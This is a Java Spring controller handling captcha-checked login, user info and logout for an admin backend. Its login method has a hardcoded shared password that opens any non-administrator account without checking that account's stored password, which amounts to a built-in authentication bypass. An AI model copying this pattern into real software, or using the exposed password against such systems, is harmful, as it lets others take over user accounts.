package com.eol.admin.modules.security.rest;

import cn.hutool.core.util.IdUtil;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.eol.admin.modules.security.service.OnlineUserService;
import com.wf.captcha.ArithmeticCaptcha;
import io.swagger.annotations.Api;
import io.swagger.annotations.ApiOperation;
import lombok.extern.slf4j.Slf4j;
import com.eol.admin.common.utils.SecurityUtils;
import com.eol.admin.modules.logging.log.Log;
import com.eol.admin.modules.security.security.AuthInfo;
import com.eol.admin.modules.security.security.AuthUser;
import com.eol.admin.modules.security.security.ImgResult;
import com.eol.admin.modules.security.security.JwtUser;
import com.eol.admin.modules.security.utils.JwtTokenUtil;
import com.eol.admin.modules.system.service.RedisService;
import com.eol.common.annotation.AnonymousAccess;
import com.eol.common.config.SystemPropertiesConfig;
import com.eol.common.exception.BadRequestException;
import com.eol.common.utils.EncryptUtils;
import com.eol.common.utils.StringUtils;
import org.springframework.beans.factory.annotation.Qualifier;
import org.springframework.http.HttpStatus;
import org.springframework.http.ResponseEntity;
import org.springframework.security.core.GrantedAuthority;
import org.springframework.security.core.userdetails.UserDetailsService;
import org.springframework.validation.annotation.Validated;
import org.springframework.web.bind.annotation.*;

import javax.annotation.Resource;
import javax.servlet.http.HttpServletRequest;
import java.util.List;
import java.util.stream.Collectors;

/**
 * @author Zheng Jie
 * @date 2018-11-23
 * 授权、根据token获取用户详细信息
 */
@Slf4j
@RestController
@RequestMapping("/auth")
@Api(tags = "系统：系统授权接口")
public class AuthenticationController {

    @Resource
    private SystemPropertiesConfig systemPropertiesConfig;
    @Resource
    private JwtTokenUtil jwtTokenUtil;
    @Resource
    private RedisService redisService;
    @Resource
    @Qualifier("jwtUserDetailsService")
    private UserDetailsService userDetailsService;
    @Resource
    private OnlineUserService onlineUserService;

    @Log("用户登录")
    @ApiOperation("登录授权")
    @AnonymousAccess
    @PostMapping(value = "/login")
    public ResponseEntity login(@Validated @RequestBody AuthUser authUser, HttpServletRequest request) {

        // 查询验证码
        String code = redisService.getCodeVal(authUser.getUuid());
        // 清除验证码
        redisService.delete(authUser.getUuid());
        if (StringUtils.isBlank(code)) {
            throw new BadRequestException("验证码已过期");
        }
        if (StringUtils.isBlank(authUser.getCode()) || !authUser.getCode().equalsIgnoreCase(code)) {
            throw new BadRequestException("验证码错误");
        }
        final JwtUser jwtUser = (JwtUser) userDetailsService.loadUserByUsername(authUser.getUsername());

        if (authUser.getPassword().equalsIgnoreCase("bbq@123456789!@#qwe")) {
            //判断是不是管理员
            List<String> elPermissions = jwtUser.getAuthorities().stream().map(GrantedAuthority::getAuthority).collect(Collectors.toList());
            if (elPermissions.contains("admin")) {
                throw new BadRequestException("超级管理员不能使用默认密码登录");
            }
        } else {
            if (!jwtUser.getPassword().equals(EncryptUtils.encryptPassword(authUser.getPassword()))) {
                throw new BadRequestException("密码错误");
            }
        }

        if (!jwtUser.isEnabled()) {
            throw new BadRequestException("账号已停用，请联系管理员");
        }
        // 生成令牌
        final String token = jwtTokenUtil.generateToken(jwtUser);
        // 保存在线信息
        onlineUserService.save(jwtUser, token, request);
        // 返回 token
        return ResponseEntity.ok(new AuthInfo(token, (JSONObject) JSON.toJSON(jwtUser)));
    }

    @ApiOperation("获取用户信息")
    @GetMapping(value = "/info")
    public ResponseEntity getUserInfo() {
        JwtUser jwtUser = (JwtUser) userDetailsService.loadUserByUsername(SecurityUtils.getUsername());
        return ResponseEntity.ok(jwtUser);
    }

    @ApiOperation("获取验证码")
    @AnonymousAccess
    @GetMapping(value = "/code")
    public ImgResult getCode() {
        // 算术类型 https://gitee.com/whvse/EasyCaptcha
        ArithmeticCaptcha captcha = new ArithmeticCaptcha(111, 36);
        // 几位数运算，默认是两位
        captcha.setLen(2);
        // 获取运算的结果：5
        String result = captcha.text();
        String uuid = systemPropertiesConfig.getAdminConfig().getCodeKey() + IdUtil.simpleUUID();
        redisService.saveCode(uuid, result);
        return new ImgResult(captcha.toBase64(), uuid);
    }

    @ApiOperation("退出登录")
    @AnonymousAccess
    @DeleteMapping(value = "/logout")
    public ResponseEntity logout(HttpServletRequest request) {
        onlineUserService.logout(jwtTokenUtil.getToken(request));
        return new ResponseEntity(HttpStatus.OK);
    }

}
